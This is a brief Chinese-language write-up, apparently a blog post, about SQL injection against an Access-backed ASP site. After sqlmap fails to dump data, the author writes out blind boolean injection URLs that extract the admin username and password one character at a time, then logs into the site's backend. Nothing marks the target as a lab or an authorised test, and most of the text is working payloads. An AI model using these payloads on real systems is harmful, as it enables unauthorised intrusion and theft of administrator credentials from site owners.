access数据SQL注入测试

http://www.xxx.com/zxdt_detail.asp?id=1080

看到是注入点，当然首选肯定是先用sqlmap跑下。

access数据库

能正常跑出表能正常跑出字段但是dump出数据时就dump不出

没得办法，迫于无奈，还是选择了手工注入。

sqlmap帮我猜出表和字段，剩下的就容易多了。

http://www.xxx.com/zxdt_detail.asp?id=1080 AND (SELECT top 1 len(username) FROM admin) >4 判断账号长度

http://www.xxx.com/zxdt_detail.asp?id=1080 AND (SELECT top 1 len(password) FROM admin) >5 判断密码长度

http://www.xxx.com/zxdt_detail.asp?id=1080 AND (SELECT top 1 asc(MID(username,1,1)) FROM admin)=97
http://www.xxx.com/zxdt_detail.asp?id=1080 AND (SELECT top 1 asc(MID(username,2,1)) FROM admin)=100
http://www.xxx.com/zxdt_detail.asp?id=1080 AND (SELECT top 1 asc(MID(username,3,1)) FROM admin)=109
http://www.xxx.com/zxdt_detail.asp?id=1080 AND (SELECT top 1 asc(MID(username,4,1)) FROM admin)=105
http://www.xxx.com/zxdt_detail.asp?id=1080 AND (SELECT top 1 asc(MID(username,5,1)) FROM admin)=110

用户名：admin

用burp的intruder功能快速fuzz一下。

http://www.xxx.com/zxdt_detail.asp?id=1080 AND (SELECT top 1 asc(MID(password,1,1)) FROM admin)=49
http://www.xxx.com/zxdt_detail.asp?id=1080 AND (SELECT top 1 asc(MID(password,2,1)) FROM admin)=52
http://www.xxx.com/zxdt_detail.asp?id=1080 AND (SELECT top 1 asc(MID(password,3,1)) FROM admin)=55
http://www.xxx.com/zxdt_detail.asp?id=1080 AND (SELECT top 1 asc(MID(password,4,1)) FROM admin)=50
http://www.xxx.com/zxdt_detail.asp?id=1080 AND (SELECT top 1 asc(MID(password,5,1)) FROM admin)=53
http://www.xxx.com/zxdt_detail.asp?id=1080 AND (SELECT top 1 asc(MID(password,6,1)) FROM admin)=56

最后进了后台，但是后台太过于简洁，技术又不到家，没能拿到shell。
